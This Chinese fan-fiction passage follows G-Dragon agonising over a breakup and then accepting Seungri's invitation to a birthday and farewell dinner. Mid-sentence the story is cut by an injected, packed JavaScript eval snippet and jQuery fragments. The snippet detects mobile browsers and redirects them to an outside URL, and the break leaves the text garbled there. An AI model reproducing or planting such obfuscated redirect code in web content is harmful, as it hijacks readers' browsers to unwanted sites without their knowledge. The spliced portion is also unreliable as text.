权至龙的到来引起聚会一阵骚动，但很快便被主人引入氛围中。
他在日语和英语之间轻盈切换，与各色人等寒暄周旋。手中端着一杯威士忌，脸上挂着微笑，弧度精准，温度却停留在表面。
有的聊起演唱会的盛况，极力称赞他的舞台掌控力和音乐的前卫性。他微微颔首致谢，语气谦逊得体得像背诵台词，巧妙地将话题引向对方近期的作品，避开了任何可能触及他内心的探询。
在这种场合，他是G-Dragon，是时尚潮流icon，是无可争议的焦点，却又始终隔着一层屏障，冷静地、有些倦怠地观察着周遭的一切。他的注意力看似投入在眼前的觥筹交错之中，但只有他自己知道，有一部分灵魂一直漂浮在外，像一艘迷失了航向、在浓雾中找不到岸的孤舟，漫无目的地漂泊。
杯中的酒液渐渐见底，如同他现在逐渐耗尽的精力。侍者适时躬身，为他续上。指尖冰凉，触碰杯壁时，脑海里却无端闪过另一个温度——清晨，她接过纸袋时，手指那瞬间的微颤。
他微微蹙眉，将杯中新的酒液一饮而尽，灼热的液体滑过，企图用这强烈的感官刺激压下心底那些带着苦涩味道的波澜。
“G-Dragon桑最近有新的创作灵感吗？”一位相熟的音乐制作人笑着探询，“听说您每次来日本，总能捕捉到一些特别的气息。”
权至龙晃动着杯中的冰块，唇角勾起一个模糊的弧度：“灵感……像夜风一样无处不在，也像晨露一样转瞬即逝。重要的是……能否在它消逝前，抓住它那滑腻的尾巴。”他的回答模棱两可，带着艺术家惯有的玄妙，再次巧妙避开了实质内容。
而只有他自己知道，此刻盘旋在他脑海深处、纠缠不休的，并非东京迷离的霓虹或大阪温暖的烟火气息，而是一段未完成的旋律，和几句潦草的、关于痛苦与最后真心的词句。
聚会持续到深夜，他才得以脱身，坐回车里时，身体的疲惫袭来，带着酒精催化下的钝重，但大脑反而异常清醒。
手机躺在座位上，没有一丝新的消息提示的光亮。Kiko没有再联系他，她……更不可能。
他闭上眼，指尖抵着发胀的太阳穴。
那件外套……她为什么会单独去找胜利？仅仅是朋友间的相处？还是……
一些被忽略的细节开始回溯：胜利电话里那过于爽快、甚至上扬的尾音；那件被叠得异常整齐、边角分明，仿佛被特意保管的外套；以及……她开门时，眼神迷离、意识模糊的状态。
某个模糊的、他不愿去深入证实、甚至害怕去证实的猜测悄然浮上心头，盘踞不去，用猩红的信子舔舐着他敏感的神经。
他猛然睁开眼，发动车子，再次回到工作室。冰冷的空气比离开时更添了几分寂寥，像无形的冰霜凝结在每一寸空间。权至龙甩掉外套，径直走向控制台。
他沉浸在黑暗里，戴上耳机，那些录制的旋律比任何烈酒都更猛烈地冲击着他的神经。他需要这种感觉，近乎自虐地需要着。需要将这几乎要将他撕裂的情绪，锻造打磨成更锋利、更可控的节奏和音效；需要将自己当初那份决绝选择带来的、至今仍在隐隐作痛的后坐力，淬炼成可供反复咀嚼、鲜血淋漓的艺术品。
手指在键盘和各种控制器上飞速移动，拧动旋钮，调整着每一条音轨的均衡和混响参数。他试图用技术的极致精确，去覆盖、去驯服情感的混沌无序，将那句“我们分手吧”融入更具工业质感和冰冷力量的鼓点中；将那句“我爱你爱的太痛苦了”的叹息隐藏在缥缈空灵的和声后。
工作。专注。他命令自己，仿佛在念诵咒语，世界里只剩下这个。
然而，酒精和疲惫腐蚀了他筑起的心防。在那段循环播放的主旋律中，某些他深深压抑的画面，不受控制地、鲜明地闪回——
不是舞台上震耳欲聋的欢呼与刺眼的光芒，而是他最后一次摔门离开时，眼角余光瞥见她瞬间煞白的脸，和那只僵在半空、想要挽留却又不敢的手；
不是庆功宴上肆意喷洒的、带着虚假欢愉的香槟泡沫，而是他厉声质问她时，她眼中慌乱躲闪的泪光，和那句苍白到心碎的“我想着通过了再告诉你”；
也不是他臆想中她可能的挽留姿态，而是他自己转身之后，独自走在空旷的走廊里，心脏被生生撕裂、却强忍着不肯回头的痛楚……
“砰！”
他一拳砸在昂贵的键盘上，发出一声刺耳的不和谐音，打断了循环的旋律，也斩断了那些意图为他当初决定辩解或后悔的回忆。
手背传来痛感，呼吸变得粗重不稳。他一把扯下耳机，狠狠摔在控制台上，发出沉闷的响声。
为什么还是不行？
为什么即使是她选择了隐瞒，那股被背叛的愤怒和失望过后，留下的依旧是无边无际的痛楚？
那些过往碎片，为何依旧能如此轻易刺穿他所有的防御？
他烦躁地扒着头发，目光扫过手机。屏幕漆黑，安静得像块砖头。
没有信息。
不可能有她的。
他到底在想什么？在烦躁什么？难道还在卑微期望一个对他隐瞒了重大人生计划的人，会来低头求和吗？
他扯了扯嘴角，露出一抹冷笑，眼睛却红彤彤的含着泪。
走到吧台，给自己倒了满满一杯威士忌，没有加冰，仰头直接灌了下去。
烈酒灼烧着喉咙和胃壁，带来虚幻的痛快感，他需要这更强烈的刺激来巩固决心，来镇压那些可能动摇的、可耻的脆弱情绪。
他的指尖在手机通讯列表上焦灼地滑动，掠过一个个或熟悉或陌生的名字，最终却停滞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008838|188757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在半空。
然后，像是突然意识到这种寻找替代的行为本身就可笑至极，厌弃地将手机重重扔回沙发。
算了。是他自己选择结束的。所有的后果，他都理应承受。
直至中午时分，手机响起。屏幕上跳动着胜利的名字。
权至龙才被惊醒，眼睛里满是一夜没睡的疲倦：“喂，什么事？”
“哥！忙着呢？”胜利一如既往地活力满满，“打电话就是想问你，晚上有空没？
他心不在焉地整理着散落的谱纸：“晚上？应该没什么事，怎么了？”
“不是说过嘛，等忙过这一阵，让初星怒那给我们露一手，做顿正宗的中餐尝尝鲜儿？”胜利语速很快，带着惯有的张罗劲儿，“就定今晚了，在她酒店套房的小厨房做。永裴哥、大声哥，top哥，还有珍雅怒那都在！我就想着问问哥你来不来？诶，我和怒那生日不是只差一天嘛，以前她没出国的时候，我们年年都凑一块儿过的，这次本来还以为能延续传统呢，结果我们行程太紧，她明天又非得回去了… 所以这顿也算小小庆祝一下，外加给她和珍雅怒那践行了。怎么样哥？来不来？没空就算了，没事儿！”
“……”
权至龙整理的动作顿住，指尖捏着那张写满音符的纸，微微收紧。
生日只差一天…年年一起过…
是了，他怎么会不记得。那些年，他都在。有时是热闹的餐厅包间，有时是家里，有时就在狭小的练习室角落。他记得胜利咋咋呼呼地点蜡烛，记得初星被抹奶油时又笑又恼的样子，记得大家一起追逐打闹，笑得跟个傻子一样。
明明曾经他也是那热闹画面中的一分子，而如今，这“传统”的延续，却需要由胜利来告知。还混合着对今晚场合本能的抗拒，以及对她即将离开的…某种难以名状的滞涩感。
他快要脱口而出“不去了，你们聚吧”。
但话到嘴边，又硬生生刹住。
所有人都去。团队都在，如果他单独缺席，显得太过刻意。而且，用胜利和她的生日由头，外加践行，这理由充分得让他找不到合适的借口推脱。
他再开口时，似乎全然不在意的说着：“哦，这事啊…行，我知道了。晚上几点？”
“好嘞！大概七点！就昨天的酒店，哥你知道房间号吧？我再给你发一遍吧！”胜利听起来更欢快了。
“嗯，没什么事就先挂了，这边还有点东西要弄。”权至龙声音平淡得听不出什么情绪。
“好嘞！哥你忙！”
电话挂断。
权至龙将那张皱了的谱纸扔回桌上，屏幕上是胜利刚发来的酒店地址和房间号。
他盯着那行地址看了几秒，眼神晦暗不明。最终，还是没有回复任何消息，只是将手机按熄，反扣在桌面上。